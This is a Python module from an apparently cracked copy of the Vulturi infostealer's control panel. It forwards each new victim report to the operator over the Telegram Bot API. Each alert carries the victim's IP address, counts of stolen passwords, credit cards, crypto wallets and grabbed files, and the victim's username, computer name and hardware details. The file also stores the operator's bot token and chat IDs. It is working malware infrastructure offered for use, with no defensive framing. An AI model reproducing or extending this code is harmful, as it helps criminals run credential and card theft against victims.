Files
VulturiCracked/Panel/core/modules/telegram.py
T
2026-08-27 11:02:04 -06:00

82 lines
3.0 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Coded by [email protected]
# Import modules
from requests import get
from json import dumps, loads
# Import packages
from core.models.accounts import clients_db
""" Convert bytes to mb """
def _ConvertSize(size, precision=2):
suffixes=["B", "KB", "MB", "GB", "TB"]
suffixIndex = 0
while size > 1024 and suffixIndex < 4:
suffixIndex += 1 #increment the index of the suffix
size = size / 1024.0 #apply the division
return "%.*f%s"%(precision, size, suffixes[suffixIndex])
""" Run telegram notification """
def NotifyUsers(report, owner: str, ip: str):
token, chatids = GetTelegramCredentials(owner)
# Skip if empty
if len(token) < 5 or len(chatids) == 0:
return False
# Parse data
counter = loads(report.counter)
info = loads(report.information)
# Pack message
m = "🗃 *Vulturi new report!*\n\n"
m += f"Remote address: {ip}\n"
m += f"Archive size: {_ConvertSize(len(report.archive))}\n\n"
m += "💳 *Counter statistics:*\n"
m += f" - Passwords: {counter['passwords']}\n"
m += f" - CreditCards: {counter['credit_cards']}\n"
m += f" - Wallets: {counter['wallets']}\n"
m += f" - Files: {counter['grabber']}\n\n"
m += "🧭 *Operating System info:*\n"
m += f" - OS: {info['os']['name']}\n"
m += f" - Username: {info['os']['username']}\n"
m += f" - Compname: {info['os']['compname']}\n\n"
m += "💻 *Hardware info:*\n"
m += f" - CPU: {info['hardware']['cpu_name']}\n"
m += f" - GPU: {info['hardware']['gpu_name']}\n"
m += f" - RAM: {info['hardware']['ram']}\n"
m += f" - Screen: {info['hardware']['screen']}\n"
m += f" - Manufacturer: {info['hardware']['manufacturer']}\n"
# Send messages
for chatid in chatids:
get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={chatid}&text={m}&parse_mode=markdown")
""" Get credentials from database """
def GetTelegramCredentials(owner: str) -> tuple:
response = clients_db.execute(
sql="SELECT token, chatid FROM telegram WHERE owner = ?",
values=[owner],
commit_changes=False
)
# Skip if empty
if len(response) == 0:
return "", []
# Return values
else:
return response[0][0], loads(response[0][1])
""" Change telegram bot credentials """
def SetTelegramCredentials(owner: str, token: str, chatids: list):
clients_db.execute(
sql="UPDATE telegram SET token = ?, chatid = ? WHERE owner = ?",
values=[token, dumps(chatids), owner],
commit_changes=True
)
# Send test message
for chatid in chatids:
text = f"🔗 Hello {owner}!\nThe control panel is now linked to this telegram bot, now notifications about new reports will come here"
get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={chatid}&text={text}")